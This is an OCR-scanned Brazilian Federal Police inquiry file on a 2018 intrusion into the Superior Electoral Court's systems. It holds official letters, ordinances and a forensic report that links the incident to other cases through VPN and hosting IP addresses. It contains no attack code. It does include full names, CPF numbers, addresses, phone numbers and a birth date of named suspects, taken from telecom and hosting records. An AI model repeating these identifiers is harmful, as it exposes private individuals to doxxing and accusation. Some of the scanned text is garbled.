JUIZ AUXILIAR DA PRESIDENCIA DO TRIBUNAL SUPERIOR K
ELEITORAL =

| Documento assinado eletronicamente em 24/09/2019, as 10:17, conforme art.

1°, §2°, 111, b, da Lei 11.419/2006.

A autenticidade do documento pode ser conferida em

» https://sei.tse.jus.br/sei/controlador externo.php?

OPES, MATRI CULA: 17933, em 04/ 11/ 2020,

R oL acao=documento conferir&id orgao acesso externo=0&cv=1147820&crc=B77086

5!

g informando, caso ndo preenchido, o c6digo verificador 1147820 e o c6digo CRC
B7708648.

2018.00.000014309-3 Documento n® 1147820 v2

LEONARDO BRUCE MADUREI RA L

Este docunmento tem o nmesnp val or probante do original apresentado, noger nos do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,
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TRIBUNAL SUPERIOR ELEITORAL

Oficio GAB-SPR n° 3586/2019

Brasilia, 24 de setembro de 2019.

A Sua Exceléncia o Senhor

Dr. MAURICIO LEITE VALEIXO
Diretor-Geral da Policia Federal
Brasilia - DF

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/11/2020, as 11h20.

Assunto: IPL 1361/2018-4 - SR/PF/DF

Senhor Diretor-Geral,

Solicito a gentileza de, em carater reservado, serem enviados a mim os
resultados até o momento obtidos em razdo da investigacdo promovida por esse
Departamento por meio do procedimento IPL 1361/2018-4 - SR/PF/DF.

Atenciosamente,

RICARDO FIOREZE
Juiz Auxiliar da Presidéncia

Presidente da Comissdo de Sindicincia

RICARDO FIOREZE
JUIZ AUXILIAR DA PRESIDENCIA DO TRIBUNAL SUPERIOR
ELEITORAL
2] Documento assinado eletronicamente em 24/09/2019, as 10:23, conforme art.

1°, §2°, 11, b, da Lei 11.419/2006.

Este documento tem o nmesnp val or probante do original apresentado, nos ternbs do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,

A autenticidade do documento pode ser conferida em

__fj...'.i;.[._  https://sei.tse.jus.br/sei/controlador externo.php?
bl wEL s g
.-Ei’fjﬁ'l*_ acao=documento conferir&id orgao acesso externo=0&cv=1147825&crc=3E86BDDI,

=
s informando, caso ndo preenchido, o codigo verificador 1147825 e o c6digo CRC

3E86BDD1.




Siailoso

384
SR/ PF/ DF

2020. 0043195

Fl .

Documento n® 1147825 v

018.00.000014309-3

-

"0ZYTT Se ‘0Z0Z /TT /PO W8 ‘€E6.T VINO MIWA ‘S3dOT W [3dNAWA JoNdd OQYVYNOIT ‘ [eJdped e 101 |0d 8p OeA 119s3 Jod Opeod |jud iny
‘9002 /6T% 'TT 197 ep TT "1 Op o § Op saulal sou ‘opeiluasalide [|euibiio op @iueqod 1o |eA ausau O Wa} 03luaundop 81s3



Siailoso
Fl . 248
E-mail - 1148003 SR/ PF/ DF

2020. 0043195

Data de Envio:
24/09/2019 13:10:40

De:
TSE/Presidéncia <presidencia@tse.jus.br>

Para:
dg@dpf.gov.br
aedg@dpf.gov.br
cgab@dpf.gov.br

as 11h20.

Assunto:
Oficio GAB-SPR n2 3586/2019

Mensagem:
Prezados Senhores,

11 da Lei 11.419/2006.

Encaminho em anexo o Oficio GAB-SPR n? 3586/2019.

do Art.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/ 11/ 2020,

Solicito a gentileza de confirmar recebimento.

Atenciosamente,

Sérgio Trés

Secretaria-Geral da Presidéncia
Tribunal Superior Eleitoral
Telefone (61) 3030-7837

nos ternos do § 1°

Anexos:
Oficio_1147825.html

Este docunmento tem o nmesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,
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De: Grupo de Repressao a Crimes Ciberneticos [grec.df@dpf.gov.br]
Enviado em: sexta-feira, 10 de janeiro de 2020 15:08

Para: Sérgio Carlos Trés E Silva; Presidencia

Assunto: Encaminha Oficio n® 0070/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC

Oficio n° 0070/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC
Brasilia/DF, 06 de janeiro de 2020.

A Sua Exceléncia

Ministra ROSA MARIA PIRES WEBER
Presidente do Tribunal Superior Eleitoral
Tribunal Superior Eleitoral - TSE

Setor de Administracdo Federal Sul (SAFS)
Quadra 7, Lotes 1/2, Brasilia/DF

CEP 70070-600

11 da Lei 11.419/2006.

Assunto: Solicita¢do de informagdes
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referéncia na resposta)

Senhora Ministra,

Visando instruir os autos do Inquérito Policial n® 1361/2018-4 - SR/PF/DF, solicito a Vossa Exceléncia
solicitando informar as portas légicas das seguintes conexdes, bem como seus fusos hordrios:

189.40.75.154, em 18/04/2018, as 18:56:14

191.51.34.72, em 18/04/2018, as 19:02:05

189.40.75.239, em 18/04/2018 20:45:41

177.219.117.183, em 18/04/2018, as 20:56:20

189.40.72.247, 18/04/2018, as 22:21:17

189.40.72.14, em 18/04/2018 22:23:14

189.40.91.135, em 18/04/2018, as 22:29:37

189.40.90.239, em 19/04/2018, as 01:13:32

189.40.90.253, em 19/04/2018, as 04:08:37

201.81.167.53, em 18/04/2018, as 03:15:28 e 21/04/2019, as 08:36:42, e
201.6.129.235, em 18/04/2018, as 05:24:54 e 18/04/2018, as 05:48:59.

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20.

Em anexo cépia de fl. 85 dos autos, encaminhada pelo servidor CRISTITANO MOREIRA ANDRADE.

Respeitosamente,

Este documento tem o nmesnp val or probante do original apresentado, nos ternbs do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,

VICTOR NEVES FEITOSA CAMPOS
Delegado de Policia Federal
Classe Especial - Matricula n® 16.179
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TRIBUNAL SUPERIOR ELEITORAL

DESPACHO

Senhora Ministra Presidente,

Em razdo da persisténcia da situacao noticiada no

expediente 1230304, reitero a solicitacdo la contida, de prorrogacao
do prazo por ultimo fixado para conclusao do trabalho atribuido a
Comissao de Sindicancia.

Respeitosamente,

RICARDO FIOREZE

Presidente da Comissao de Sindicincia

RICARDO FIOREZE
JUIZ AUXILIAR DA PRESIDENCIA DO TRIBUNAL SUPERIOR
ELEITORAL
o Documento assinado eletronicamente em 04/03/2020, as 15:33, conforme art.

1°, §2° 111, b, da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/11/2020, as 11h20.

A autenticidade do documento pode ser conferida em

» https://sei.tse.jus.br/sei/controlador externo.php?

2018.00.000014309-3 Documento n” 1230306 v2

Este docunmento tem o nmesno @or probante do original apresentado, nos ternps do § 1° do Art. 11 da Lei 11.419/2006.

Autenti cado por Escrivao de Policia Federal,
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TRIBUNAL SUPERIOR ELEITORAL

Portaria TSE n° 160 de 04 de marco de 2020.

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/11/2020, as 11h20.

A PRESIDENTE DO TRIBUNAL  SUPERIOR
ELEITORAL, no uso de suas atribui¢des legais e regimentais,

RESOLVE

Art. 1° Designar o Dr. Leonardo Castanho Mendes, Juiz
Auxiliar do Gabinete da Presidéncia, para compor a Comissio
de Sindicancia instituida pela Portaria TSE n° 976 de 08 de novembro de
2018, em substituicao ao Dr. Fernando Pessda da Silveira Mello.

Art. 2° Prorrogar, por sessenta dias, o prazo para conclusio dos

trabalhos da Comissao referida no art. 1°.

Ministra ROSA WEBER

Este documento tem o nmesnp val or probante do original apresentado, nos ternbs do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,

2018.00.000014309-3 Documento n” 1268606 v3
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TRIBUNAL SUPERIOR ELEITORAL

Portaria TSE n2 160 de 04 de margo de 2020.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no
uso de suas atribui¢ces legais e regimentais,

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20.

RESOLVE

Art. 12 Designar o Dr. Leonardo Castanho Mendes, Juiz
Auxiliar do Gabinete da Presidéncia, para compor a Comissao
de Sindicancia instituida pela Portaria TSE n? 976 de 08 de
novembro de 2018, em substituicio ao Dr. Fernando Pessba da
Silveira Mello.

Art. 22 Prorrogar, por sessenta dias, o prazo para
conclusao dos trabalhos da Comissao referida no art. 1°,

"

)},] LU' ;{L{-l',’l

Ministra ROSA WEBER

Este documento tem o nmesnp val or probante do original apresentado, nos ternbs do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,

2018.00.000014309-3 Documento n® 1268606 v3
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Portaria TSE n2 137 de 21 de fevereiro de 2020.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuigdes,

RESOLVE

dispensar, a pedido, o Dr. FERNANDO PESSOA DA SILVEIRA MELLO das fungdes de Juiz Auxiliar do Gabinete da Presidéncia e de
Juiz Ouvidor da Ouvidoria da Secretaria-Geral da Presidéncia a partir de 26 de fevereiro de 2020.

; 8
©
g 3
a %]
Ministra ROSA WEBER 3 °
3 8
— N
Designacdo. Juiz Auxiliar. Comissao de Sindicancia instituida. 9 a
Portaria TSE n2 160 de 04 de margo de 2020. 3 g
=5
A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribui¢cdes legais e regimentais, <
o
©

RESOLVE

Art. 12 Designar o Dr. Leonardo Castanho Mendes, Juiz Auxiliar do Gabinete da Presidéncia, para compor a Comissdo de
Sindicancia instituida pela Portaria TSE n2 976 de 08 de novembro de 2018, em substituicdo ao Dr. Fernando Pess6a da Silveira
Mello.

nos ternos do § 1°

apr esent ado
LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

Art. 22 Prorrogar, por sessenta dias, o prazo para conclusdo dos trabalhos da Comissao referida no art. 12.

Ministra ROSA WEBER

Designagdo. Juiz Auxiliar. Comissdo de Processo Administrativo Disciplinar.

Portaria TSE n2 159 de 04 de margo de 2020.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribui¢cdes legais e regimentais,

RESOLVE

Art. 12 Designar o Dr. Leonardo Castanho Mendes, Juiz Auxiliar do Gabinete da Presidéncia, para compor a Comissdo de
Processo Administrativo Disciplinar instituida pela Portaria TSE n2 226 de 21 de margo de 2019, em substituicdo ao servidor
Ronaldo Assuncdo Sousa do Lago.

Art. 22 Prorrogar, por sessenta dias, o prazo para conclusdo dos trabalhos da Comissao referida no art. 12.

Este docunento tem o nesnp val or probante do ori gi nal

Aut enti cado por Escrivao de Policia Federal,

Ministra ROSA WEBER

Designacdo. Juiz Auxiliar. Ouvidoria.

Portaria TSE n2 156 de 04 de margo de 2020.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribui¢des e tendo em vista o disposto no art. 12, § 12A, da

Didrio da Justica Eletrénico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra
estrutura de Chaves Publicas Brasileira - ICP-Brasil, podendo ser acessado no endereco eletrdnico http://www.tse.jus.br
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Endereco: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasilia/DF

CERTIDAO DE DESENTRANHAMENTO
2020.0043195-SR/PF/DF

CERTIFICO QUE, desentranhei dos autos os documentos relacionados em virtude de erro no escaneamento dos
autos. O referido é verdade e dou fé.

Documento eletronico assinado em 04/11/2020, as 11h21, por LEONARDO BRUCE MADUREIRA LOPES,
Escrivao de Policia Federal, na forma do artigo 1°, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A
autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura,
informando o seguinte codigo verificador: 4264408338f2ffb41156{88e2aff40fa9d46c67b




SERVICO PUBLICO FEDERAL
MJSP - POLICIA FEDERAL
COORDENACAO-GERAL DE POLICIA FAZENDARIA
SERVICO DE REPRESSAO A CRIMES CIBERNETICOS

RELATORIO DE ANALISE DE ALTA TECNOLOGIA
N° 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF

ASSUNTO: INCIDENTE ADVOCACIA-GERAL DA UNIAO (COMPLEMENTAR)
SEI n° 08200.008955/2019

O presente Relatorio trata de complementacédo das informacgdes encaminhadas pela
Advocacia-Geral da Unido, referentes ao processo SEI n° 08200.008955/2019, sobre incidentes

de seguranca ocorridos nos sistemas informatizados daquele 6rgéo.

1. DILIGENCIAS

A partir das informacdes levantadas no Relatério de Alta Tecnologia 006/2019,
foram oficiadas diversas empresas, para que fornecessem dados cadastrais referentes a

enderecos IP utilizados no incidente:

e OFICIO N°8/2019-UTC/SRCC/CGPFAZ/DICOR/PF — Claro S.A

e OFICIO N° 9/2019-UTC/SRCC/CGPFAZ/DICOR/PF — Telefonica Brasil
e OFICIO N°10/2019-UTC/SRCC/CGPFAZ/DICOR/PF — MAXIHOST

e OFICIO N°11/2019-UTC/SRCC/CGPFAZ/DICOR/PF — Siqueiralink

e OFICIO N° 4/2020-UTC/SRCC/CGPFAZ/DICOR/PF — Locaweb

Os oficios supracitados, bem como as respostas recebidas, encontram-se anexadas
ao Processo SEI da referéncia. Cumpre destacar que a empresa Siqueiralink ndo respondeu a

determinacdo encaminhada por e-mail, mesmo apds reiteracao.
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2020. 0043195

2. CORRELACAO COM OUTROS CASOS

Apos o recebimento das respostas dos provedores, as informacdes relevantes, como
enderecos IP e usuarios responsaveis, foram inseridas na Base Nacional de Crimes Cibernéticos
(BNCC).

Apds pesquisas na ferramenta supracitada, foram encontradas correla¢es do caso
em tela com outros dois casos de incidente de seguranga, um relativo ao Tribunal Superior
Eleitoral (vide Relatério de Alta Tecnologia n° 002/2019-UTC/SRCC) e outro relativo ao
incidente investigado no IPL 005/2017-DICINT/DIP, as quais serdo detalhadas abaixo.

Inicialmente, foi constatada a existéncia no caso AGU de diversos enderecos IP
idénticos aos utilizados em incidente de seguranca ocorrido no Tribunal Superior Eleitoral,
pertencentes ao provedor de VPN NORDVPN, conforme diagrama abaixo:

gj,_\ gj

Event o Event o

Relatorio 002-2019 TSE Relatorio 006-2019 - AGU

185.153.)176.4 A7 185.1$3.176.2

185.153.176.3 186.1563.176.9

NordVPN

Figura 1 - Diagrama de correlagao entre os casos AGU e TSE.
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Segue tabela com os timestamps correspondentes aos acessos do incidente da AGU

e do TSE:

ENDERECO IP

TIMESTAMP AGU

TIMESTAMP TSE

185.153.176.2

28/11/2018 00:21:12

18/04/2018 02:37:52 a

18/04/2018 02:56:54

185.153.176.3

24/10/2018 04:31:53

18/04/2018 03:20:35

185.153.176.4

16/11/2018 21:04:30

17/04/2018 21:31:18

a 18/04/2018 19:12:14

185.153.176.5

09/11/2018 00:35:21

18/04/2018 01:49:06

a 18/04/2018 02:19:32

185.153.176.6

25/01/2019 12:10:07

18/04/2018 03:04:47

a 18/04/2018 03:13:54

185.153.176.8

14/11/2018 02:35:32

20/04/2018 10:50:23

a 20/04/2018 15:15:42

Segundo pesquisa realizada na Internet, a empresa NordVPN tem sede no Panama,
pais que ndo possui leis de retencdo de dados obrigatdrias e ndo participa das aliangas Cinco

Olhos (Five Eyes) ou Catorze Olhos (Fourteen Eyes)*.

Apos consultas a DICINT/DIP, referentes ao IPL n° 005/2017-DICINT/DIP, foram

encaminhadas informacdes dos enderecos IP e dados cadastrais investigados. Com o auxilio da

BNCC, foi possivel correlacionar tais informacg6es ao incidente TSE.

Inicialmente, verificou-se que o endereco IP 191.252.0.19, pertencente a empresa
Locaweb, aparecia nos dois incidentes. Além desse, também foi identificado no caso TSE o

endereco IP 191.252.64.20, pertencente a mesma empresa.

! https://pt.wikipedia.org/wiki/NordVPN




RELATORIO N° 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF (continua

Apods oficiar a empresa Locaweb (Oficio Ne° 4/2020-
UTC/SRCC/CGPFAZ/DICOR/PF), foram informados os seguintes dados cadastrais do
responsavel pela hospedagem do endereco IP 191.252.64.20:

Responsavel: Luiz Henrique Detlinger
CPF: 042.749.858-90

RG: 10275110 Pais: Brasil

CEP: 69901441

Endereco: Rua Santa Inés Numero: 99807
Bairro: Conjunto Guiomard Santos
Cidade: Rio Branco

Estado: Acre

Telefone Fixo 1: (12) 3953-9999

E-mail principal: ednei.pexa@protonmail.com
Forma de Pagamento: Boleto Bancéario

Verificou-se que LUIZ HENRIQUE DETLINGER também aparecia na
investigacdo do IPL n° 005/2017-DICINT/DIP, como responsavel por uma hospedagem no
endereco IP 191.252.56.210 da empresa Locaweb.

Ao pesquisar por informag6es adicionais referentes ao IPL, verificou-se que um
dos autores responsaveis pelo incidente foi o nacional CARLOS EDUARDO SOARES DA
SILVA.

Apos insercdo na BNCC, também foi possivel identificar mais uma correlacdo do

caso do TSE ao IPL supracitado:

Durante a investigacdo ao incidente ao TSE, foram solicitados dados cadastrais de
alguns enderecos IP utilizados no incidente, os quais pertenciam a empresa TIM
(177.165.110.249 e 186.197.65.147).

ENDERECO IP TIMESTAMP INICIAL TIMESTAMP FINAL
177.165.110.249 21/04/2018 10:01:29 21/04/2018 12:40:46
186.197.65.147 21/04/2018 12:56:05 21/04/2018 15:04:14



mailto:ednei.pexa@protonmail.com

RELATORIO N° 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF (continua

Segundo informado pela empresa a época, 0 usuério responsavel pelos acessos
também era CARLOS EDUARDO SOARES DA SILVA:

Pesquisa Tridfego GPRS por IP Chamante: 177.165.110.249
De 21/04/2018 12:40:00 a 21/04/2018 12:40:5% - GMT-3:00
Numero Pedido: 1145894 2018

Tim Ccelular S.A. *** CONF I DENGC I A L ***

|MSISDN | Ip |Horario Inicio |Horario Final Duragio |Uplink | Downlink |Hora Brasilia
| |Porta Inicio/Fim | | |Hora Local Pesquisa
| | | | |
1177.165.110.249 121-04-2018 10:02:44 |21-04-2018 12:57:26 10482 11045859364 12039558503
| | | | |

|

121-04-2018 10:02:44
121-04-2018 10:02:44

| | | | | |

|
15511959826189
| a
|

Pesquisa Trifego GPRS por IP Chamante: 186.197.65.147
De 21/04/2018 15:02:00 a 21/04/2018 15:02:59 - GMT-3:00
Nimero Pedido: 1145897_2018

Tim Celular S.A. #** CONF IDENCTI AL **+

MSISDN 1P Horario Inicio Horario Final Duragao Uplink Downlink Hora Brasilia
¢ P
Porta Inicio/Fim | | |Hora Local Pesquisa
| | | |
|55L1959«525L«59 186.197.65.147 ‘217D472DL5 12:57:28 ‘2170&,72018 16:28:03 12635 ‘5993139&,5 ‘1156455251 ‘2173472315 12:57:28 |
a | | |21-04-2018 12:57:28
| | | |

Figura 2 - Linha telefénica correspondente aos IP 177.165.110.249 e 186.197.65.147

DADOS CADASTRAIS

NUMERO DA LINHA  : 55 11 55982-618%9 PRE-PAGO
OPERADORA : TIM SA0 PAULO

DATA INICIO : 12-01-2018
DATA FIM VALIDADE :

DATE CRDASTRO : 21-04-2018 12:36:55

NCME : CARLOS EDUARDC SOARES DA SILVA TIPO CLIENTE : CON
NACTONALIDADE : SEXO : M

DATA NASCIMENTC : 31-10-199%

CPF/CNEJ : 497.903.89B8-09

N. DOCUMENTO : TIPC DOCUMENTC : REGISTRO GERAL

pafs EMISSOR DATA EMISSEo :

ENDERECO : RUA PROFA TEREZA LOBO 1%6-AP 101

BAIRRO :  ALVORADA

CIDADE - ESTADO : CUIABA - MT CEP : 78.048-670
TELEF. CONTATO : 119556826189

END. FATURA

BAIRRO :

CIDADE - ESTADO : - CEP

Figura 3 - Dados cadastrais da linha 11-95982-6189

Segue abaixo diagrama com as correlac6es encontradas:
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SERVICO PUBLICO FEDERAL
MJSP - POLICIA FEDERAL )
COORDENAGAO-GERAL DE POLICIA FAZENDARIA
SERVICO DE REPRESSAO A CRIMES CIBERNETICOS
3. CONCLUSAO

Pelos motivos apresentados neste relatorio, acredita-se que os casos referentes ao
IPL 005/2017-DICINT/DIP, AGU (Relatério 006/2019) e TSE (Relatério 002/2019) estdo

relacionados, de modo que devem ser tratados em conjunto.
Era o que havia a relatar.

Brasilia/DF, 21 de maio de 2020.

A de Con Dl //“uQ

FLAVIO SILVEIRA DA SILVA IVO DE CARVALHO PEIXINHO
Perito Criminal Federal Perito Criminal Federal



POLICIA FEDERAL
GRUPO DE REPRESSAO A CRIMES CIBERNETICOS - GRCC/DRCOR/SR/PF/DF

DESPACHO N° 1424548/2020
2020.0043195-SR/PF/DF

Considerando que ainda restam pendentes diligéncias no presnete inquérito,
1. Junte-se copia do Relatorio de Analise de Alta Tecnologia n® 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF;

2. Verifique-se se consta em cartdrio resposta ao Oficio n° 0070/2020, reiterado pelo Oficio n° 2179/2020. Em caso positivo,
junte-se. Em caso negativo, reitere-se mais uma vez;

3. Expecam-se oficios a 12* Vara Federal da Secdo Judiciaria do DF (Processo n° 0034686-4220174.01.3400) e a 7* Vara
Federal da Subsecao Judiciaria de Sdo Paulo (Processo n° 0013343-322017.4.03.6181), como seguinte teor:

Exmo(a). Sr(a). Juiz(a),

O Inquérito Policial n° 1361/2018-SR/PF/DF (renumerado para IPL 2020.0043195-SR/PF/DF no sistema Epol) foi instaurado em
08/11/2018, a pedido da entdo Ministra Presidente do TSE, Rosa Weber, para apurar a suposta invasdo a sistemas e bancos
de dados do TSE, comacesso e divulgagdo de dados sigilosos daquele Tribunal.

A partir de arquivos enviados pelo TSE, o perito criminal Flavio Silveira, lotado no Servigo de Repressdo a Crimes Cibernéticos,
elaborou a Informagao n° 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF, na qual aponta a possibilidade de vinculagdo dos eventos
divulgados em novembro de 2018 (que ensejaram a instauracdo do presente inquérito) com outros eventos ocorridos em
abril/20 18 naquele Tribunal e sugere oficiar as empresas para que fornegam os dados cadastrais dos enderegos IP utilizados, bem
como a solicitagdo do contendo referente a hospedagem da Locaweb (IP 191.252.0.19) utilizada para baixar o artefato malicioso.

Posteriormente, por conta de outra invasdo cibernética, o mesmo perito elaborou o Relatorio de Analise de Alta Tecnologia n°
001/2020-UTC/SRCC/CGPFAZ/DICOR/PF, no qual conclui: "Pelos motivos apresentados neste relatdrio, acredita-se que os
casos referentes ao IPL 005/2017-DICINT/DIP, AGU (Relatorio 006/2019) e TSE (Relatorio 002/2019) estdo relacionados, de
modo que devem ser tratados em conjunto".

Assim, considerando que a autoria dos fatos tratados no IPL 005/2017-DICINT/DIP (que tramitou perante a 12* Vara Federal da
Sec¢do Judiciaria do DF - Processo n® 0034686-42.2017.4.01.3400 e perante a 7* Vara Federal da Subsec¢do Judiciaria de Sdo
Paulo - Processo n° 0013343-3220174.03.6181) é coincidente com a autoria dos fatos tratados no presente inquérito (segundo
apontado no Relatério de Analise de Alta Tecnologia n° 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF), solicito a vossa
exceléncia o compartilhamento de provas produzidas no ambito daquele inquérito (IPL 005/2017-DICINT/DIP), de modo que
seja comprovada a vinculagdo daqueles autores com os fatos tratados na presente investigacdo, conferindo-se celeridade e
eficiéncia ao apurartorio.

Comvotos e estrima e consideragdo, pede o deferimento.
4. Tendo em vista o término do prazo de permanéncia dos autos em cartdrio policial, remetam-se ao MPF/DF para fins de controle

externo.

Brasilia/DF, 23 de novembro de 2020.

Documento eletronico assinado em23/11/2020, as 15h12, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia Federal,
na forma do artigo 1°, inciso III, da Lei 11419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser conferida no
site https/servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte codigo verificador:
37d13c2baadfc4c13acc4beldd3e04alaa794644




POLICIA FEDERAL
GRUPO DE REPRESSAO A CRIMES CIBERNETICOS - GRCC/DRCOR/SR/PF/DF
Enderego: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasilia / DF

Oficio n® 1425061/2020 - GRCC/DRCOR/SR/PF/DF
Brasilia / DF , 23 de novembro de 2020 .

A Sua Exceléncia

Presidente do Tribunal Superior Eleitoral
Tribunal Superior Eleitoral - TSE

Setor de Administragdo Federal Sul (SAFS)
Quadra 7, Lotes 1/2, Brasilia/DF

CEP 70070-600

Assunto: 2* Reitera¢io do Oficio n° 0070/2020 - IPL 1361/2018-4 SR/PF/DF
Referéncia : IPL 2020.0043195-SR/PF/DF (mimero novo) oulIPL 1361/2018-4 - SR/PF/DF (nimero antigo)

Senhor Ministro,

Visando a instruir os autos do Inquérito Policial n° 2020.0043195-SR/PF/DF (nimero novo) ou IPL 1361/2018-4 - SR/PF/DF
(nimero antigo), solicito a Vossa Exceléncia informar as portas 16gicas das seguintes conexdes, bem como seus fusos horarios:

189.40.75.154, em 18/04/2018, as 18:56:14

191.51.34.72, em 18/04/2018, as 19:02:05

189.40.75.239, em 18/04/2018 20:45:41

177.219.117.183, em 18/04/2018, as 20:56:20

189.40.72.247, 18/04/2018, as 22:21:17

189.40.72.14, em 18/04/2018 22:23:14

189.40.91.135, em 18/04/2018, as 22:29:37

189.40.90.239, em 19/04/2018, as 01:13:32

189.40.90.253, em 19/04/2018, as 04:08:37

201.81.167.53, em 18/04/2018, as 03:15:28 e 21/04/2019, as 08:36:42, e
201.6.129.235, em 18/04/2018, as 05:24:54 e 18/04/2018, as 05:48:59.

Em anexo cépia de fl. 85 dos autos, encaminhada pelo servidor CRISTIANO MOREIRA ANDRADE.

Respeitosamente,

VICTOR NEVES FEITOSA CAMPOS
Delegado de Policia Federal
Classe Especial - Matricula n® 16.179

Documento eletronico assinado em 23/11/2020, as 15h32, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia Federal,
na forma do artigo 1°, inciso III, da Lei 11419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser conferida no
site https//servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte codigo verificador:
d0709030d3feab517f65cdfe4b2868da0d01a809




POLICIA FEDERAL

TERMO DE REMESSA

Fago a remessa dos autos para a APRECIACAO ao judiciario.

Documento eletronico assinado em23/11/2020, as 15h57, por LEONARDO BRUCE MADUREIRA LOPES, Escrivao de Policia
Federal, na forma do artigo 1°, inciso III, da Lei 11419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser
conferida no site https//servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte c6digo verificador:
5d26917ee7b03¢c46bb004a2502d26b8¢538259da




Justica Federal da 12 Regido
Varas e Juizados (1° grau)
Comprovante de protocolo

Processo

Numero do processo: 1065955-77.2020.4.01.3400

Orgéo julgador: 102 Vara Federal Criminal da SIDF

Jurisdicao: Secdao Judiciaria do Distrito Federal

Classe: INQUERITO POLICIAL (279)

Assunto principal: Invasdo de Dispositivo Informatico

Valor da causa: R$ 0,00

Segredo de justica:  Sim

Partes: Policia Federal no Distrito Federal (PROCESSOS CRIMINAIS)
INDETERMINADO

Audiéncia

Documentos protocolados Tipo Tamanho (KB)

Peticdo inicial Peticdo inicial 6,02

2020.0043195-Autos Principais-até fls. 361- Inquérito policial 9813,24

2020.11.23.pdf

Assuntos Lei
DIREITO PENAL (287) / Crimes contra a inviolabilidade de segredo (3412) / Invasao de

Dispositivo Informatico (11978 cp
TESTEMUNHA TESTEMUNHA

Policia Federal no Distrito Federal (PROCESSOS

CRIMINAIS) INDETERMINADO

Distribuido em: 23/11/2020 15:00
Protocolado por: LEONARDO BRUCE MADUREIRA LOPES
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POLICIA FEDERAL
GRUPO DE REPRESSAO A CRIMES CIBERNETICOS - GRCC/DRCOR/SR/PF/DF

DESPACHO N° 1687089/2021
2020.0043195-SR/PF/DF

1. Junte-se a resposta do TSE, a manifestagdo do MPF/DF e a decisdo judicial;

2. Expeca-se oficio a TIM requisitando os dados cadastrais dos usuarios dos IP:
189.40.75.154, em 18/04/2018, as 18:56:14
19151.34.72, em 18/04/2018, as 19:02:05
189.40.75.239, em 18/04/2018 204541
177.219.117.183, em 18/04/2018, as 20:56:20
189.40.72.247, 18/04/2018, as 22:21:17
189.40.72.14, em 18/04/2018 22:23:14
189.40.91.135, em 18/04/2018, as 22:29:37
189.40.90.239, em 19/04/2018, as 01:13:32
189.40.90.253, em 19/04/2018, as 04:08:37

Devendo a indicagdo dos IPs acima ser acrescida das informagdes de porta légica enviadas pelo TSE, confiorme item 1
supra;

3. Tendo em vista o término do prazo de permanéncia dos autos em cartorio policial, remetam-se ao MPF/DF para fins de
controle externo.

Brasilia/DF, 19 de abril de 2021.

Documento eletronico assinado em 19/04/2021, as 14h53, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia
Federal, na forma do artigo 1°, inciso III, da Lei 11419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser
conferida no site https//servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte c6digo verificador:
b52ce6a8353¢2753eclefd4d15b04958cc01c9ba




271142020

Enc: IPL 1361/2018-4 SR/PF/DF&#8203; - GRCC&#8203;

Sexta, Novembro 27, 2020 12:05 -03

Victor Neves Feitosa Campos
campos.vnfc@pf.gov.br

Para

me

Favor juntar ao IPL

De: TSE/Presidéncia <presidencia@tse.jus.br>
Enviado: quinta-feira, 26 de novembro de 2020 19:24
Para: Victor Neves Feitosa Campos

Webmail PF - (1373) INBOX

Assunto: IPL 1361/2018-4 SR/PF/DF&#8203; - GRCC&#8203;

Boa tarde,

Encaminho em anexo o Oficio GAB-SPR n2 5627/2020.

Solicito a gentileza de confirmar recebimento.

Joice Rocha

Assessora-Chefe de Gabinete
Secretaria-Geral da Presidéncia
Telefone (61) 3030-7241
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27/11/2020 SEIfTSE - 1510077 - Despacho

TRIBUNAL SUPERIOR ELEITORAL
DESPACHO
SECRETARIA DE TECNOLOGIA DA INFORMACAO

Em atengio ao Despacho GAB-SPR (SEI 1506619), encaminho
a Informagdo COINF/STI n? 249/2020 (SEI 1510009) com os esclarecimentos
apresentados pela area técnica desta secretaria e transcritos a seguir:

